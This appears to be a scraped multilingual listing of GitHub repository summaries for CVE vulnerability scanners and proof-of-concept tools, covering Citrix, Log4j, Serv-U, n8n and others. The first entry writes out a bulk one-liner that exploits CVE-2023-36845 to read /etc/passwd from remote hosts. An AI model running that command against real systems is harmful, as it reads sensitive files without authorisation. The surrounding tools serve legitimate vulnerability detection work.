CVE-2023-36845

CVE-2023-36845 批量检测单行命令 CVE-2023-36845 cat ip.txt| while read host do;do curl -sk "http://$host/?PHPRC=/dev/fd/0" -X POST -d 'autoprependfile="/etc/passwd"'| grep -i 'root:' && echo $host "is VULNERABLE";done...

CVE-2025-55182-Exploit-scanner

このリポジトリには README がありません。...

citrixInspector

citrixInspector citrixInspector.py（原名 cve20233519inspector.py）是一个基于 Python 的被动漏洞扫描器，适用于 Citrix ADC / Citrix Gateway / NetScaler ADC / NetScaler Gateway 设备。它可以在无需认证的情况下对目标设备的固件版本进行精确指纹识别，并报告该版本所存在的所有已知 CVE 漏洞。 ⚠️ Beta 版： 针对较新的 2025/2026 年 CVE（CitrixBleed...

cve-2024-24919

偵察ツール インストール 1. git clone https://github.com/satchhacker/cve-2024-24919.git 2. cd cve-2024-24919 3. chmod +x cve-2024-24919.sh 4. ln -s $pwd/cve-2024-24919.sh /usr/bin/cve-2024-24919.sh ツールを使用するには、以下のコマンドを実行してください： cve-2024-24919 使用方法...

log4v-vuln-check

Log4JS 文件与漏洞扫描器 + 本地端口绑定扫描器 此脚本用于快速检查您的服务器是否可能受到 CVE-2021-44228（log4j 漏洞）的影响。 它不能 100% 保证您没有漏洞，但会提示您是否有可能存在漏洞。 功能： 更新 apt 软件仓库 "sudo apt-get update -y"（已禁用，如需使用请取消注释） 安装脚本依赖 "sudo apt-get install lsof unzip locate mlocate -y"（已禁用，如需使用请取消注释） 更新本地 locate 文件索引数据库 "sudo updatedb" 使用 'find & locate' 扫...

rdg_scanner_cve-2020-0609

扫描远程桌面网关（可能存在未修补的 CVE-2020-0609 和 CVE-2020-0610） 该扫描器有两种工作模式： 通过 UDP 3391 检测易受 CVE-2020-0609 攻击的系统 使用 https://github.com/MalwareTech/RDGScanner 的漏洞扫描代码 免责声明 扫描内存破坏漏洞非常危险，可能导致系统崩溃。 尽管此工具设计为尽量避免引发崩溃，但稳定性无法 100% 保证。 请自行承担风险，并且只扫描您有权测试的系统。 扫描器支持多线程，能够解析包含 CIDR 子网掩码的文件，但对于更大的网络，您可能仍希望先使用 nmap 查找开放的 UD...

Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

Zeus-Scanner

便利なリンク集 Zeusとは Zeusの特徴 要件とインストール Ubuntu/Debian centOS その他 スクリーンショット デモ動画 ユーザーマニュアル Zeusの仕組み 機能 sqlmapへのフラグの受け渡し 法的情報 ライセンス GPL 行動規範 バグ報告 プルリクエストを開く コントリビューションガイドライン Zeusへの寄付 謝辞 Zeus-Scanner Zeusとは何か？...

VMware_vCenter_CVE-2021-21972

VMwarevCenterCVE-2021-21972 VMware vCenter CVE-2021-21972 相关工具 Invoke-CVE-2021-21972-Scan.ps1 此脚本将扫描指定的目标主机，并尝试检测哪些主机易受 VMware vCenter CVE-2021-21972 漏洞影响。 脚本将按以下顺序执行： 创建一个日志文件，默认日志名为 Invoke-CVE-2021-21972-Scan-output.txt 通过执行以下步骤扫描每个目标主机： 检查根域名中是否包含 vSphere/vCenter 字符串 若未找到，则检查 /ui/ HTML5 UI...

bpnd-libssh

bpnd-libssh blueintel bpnd-libssh 是一个多线程远程扫描器，用于检测 CVE-2018-10933。 环境要求 python3 paramiko 模块 安装 示例： apt-get update apt-get install -y libffi-dev libssl-dev pip3 install paramiko 使用 Docker 安装 构建 Docker 容器： ./dockerbuild.sh 运行 Docker 容器： ./dockerrun.sh 使用示例 扫描 192.168.0.1 的 22 端口： ./bpnd-libssh...

CVE-2019-5418

CVE-2019-5418 基于tomnomnom的burl的另一个扫描器 go build go get github.com/fatih/color cat websites.txt | ./CVE-2019-5418...

React2Shell-CVE-2025-55182

CVE-2025-55182 - React2Shell | | | / \ / | | / || | | | | | | | | | | | / | | | | \ | || | | | | | | | | | / \ | | | / / | | || || | || \// \| || ||/|| ||||| CVE-2025-55182 React Server Components RSC 向けリモートコード実行スキャナ クレジット 役割| 名前| リンク ---|---|--- オリジナル研究| Lachlan Davidson|...

CVE-2024-28995

CVE-2024-28995 PoC およびバルクスキャナー 概要 このリポジトリには、SolarWinds Serv-U の CVE-2024-28995 ディレクトリトラバーサル脆弱性に対する概念実証 PoC とバルクスキャナーが含まれています。この脆弱性により、ホストマシン上の機密ファイルへの不正アクセスが可能になります。この脆弱性は Hussein Daher 氏によって発見・報告されました。 機能 単一ターゲットスキャン : 単一の URL に対して CVE-2024-28995 脆弱性をスキャンします。 バルクスキャン : ファイルから複数の URL に対して...

vscan

vscan 脆弱性スキャンツールで、nmapとNSEスクリプトを使用して脆弱性を発見します。 このツールは、nmapを使った脆弱性スキャンに付加価値を与えます。 NSEスクリプトを使用することで、脆弱性の検出と悪用における柔軟性が向上します。 以下はNSEスクリプトが提供する機能の一部です。 ネットワーク探索 より高度なバージョン検出 脆弱性検出 バックドア検出 脆弱性の悪用 このツールは、Kali LinuxでNSEスクリプトが配置されているパス /usr/share/nmap/scripts/ を使用します。 このツールは次の操作を実行します。...

CVE-2024-47176-Scanner

CVE-2024-47176 スキャナー EvilsocketのCVE-2024-47176に対するPoCをトリミングしてスキャナーにしたものです。実際にvimで開いてdキーを押し続けました。 彼の研究はこちらで読めます。このスクリプトは、最初のUDPパケットをポート631に送信し、HTTPコールバックをトリガーして、脆弱なホストを示します。 Usage: clone the repo git clone https://github.com/tonyarris/CVE-2024-47176-Scanner && cd CVE-2024-47176-Scanner/ set up a...

Telerik_CVE-2019-18935

TelerikUI Python 扫描器 telerikrcescan.py 示例 评估IP是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -t 192.168.44.21 评估主机名是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -t vulnerable.telerik.net 评估CIDR网络范围是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -r 23.253.4.0/24 评估目标列表 $ python3...

ShellShock-CGI-Scan

ShellShock-CGI-Scan 一个用 C 语言编写的脚本，用于检查 CGI 脚本是否存在 CVE-2014-6271（Bash 漏洞）漏洞。 选项： -i（本地 IP 地址） -p（监听的端口） -l（网站列表） -t（连接超时时间）（默认：15 秒） 示例： $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 在 localhost 上启动监听，端口为 31337，扫描文件 'sites.txt' 中的网站，并将连接超时时间设置为 5 秒。 预览： alt tag...

CVE-2025-68613_Scanner

n8n CVE-2025-68613 互联网扫描器 一个基于 Tkinter 的 GUI 工具，用于通过 Shodan 发现公开暴露的 n8n 实例，并测试其是否受 CVE‑2025‑68613 影响，覆盖广泛的版本范围。 该扫描器能够： 使用多种指纹（标题、HTML 标记、favicon、云组织）查询 Shodan，以在常见端口（例如 5678）上发现疑似 n8n 主机。 连接候选主机并探测关键端点：/、/login、/workflow、/rest/healthz。 尝试通过多种启发式方法从 HTML/JS 中提取正在运行的 n8n 版本。 根据版本和连通性将每台主机分类为...

rapidscan

🟥 RapidScan v1.2 - マルチツールWeb脆弱性スキャナー RapidScan は Python3、すなわち v1.2 に移植されました 。Python2.7 コードベースは v1.1 リリースセクションで入手できます。まだ Python 3 にアップグレードしていない場合は、ダウンロードして使用してください。v1.1 Python2.7 は今後拡張されないことに注意してください。 進化: ペンテスターにとって、自動化なしで 連続ツールスキャン （ セキュリティスキャンツールを次々と実行すること...

rapidscan

🟥 RapidScan v1.2 - The Multi-Tool Web Vulnerability Scanner RapidScan has been ported to Python3 i.e. v1.2. The Python2.7 codebase is available on v1.1 releases section. Download and use it if you still haven't upgraded to Python 3. Kindly note that the v1.1 Python2.7 will not be enhanced further...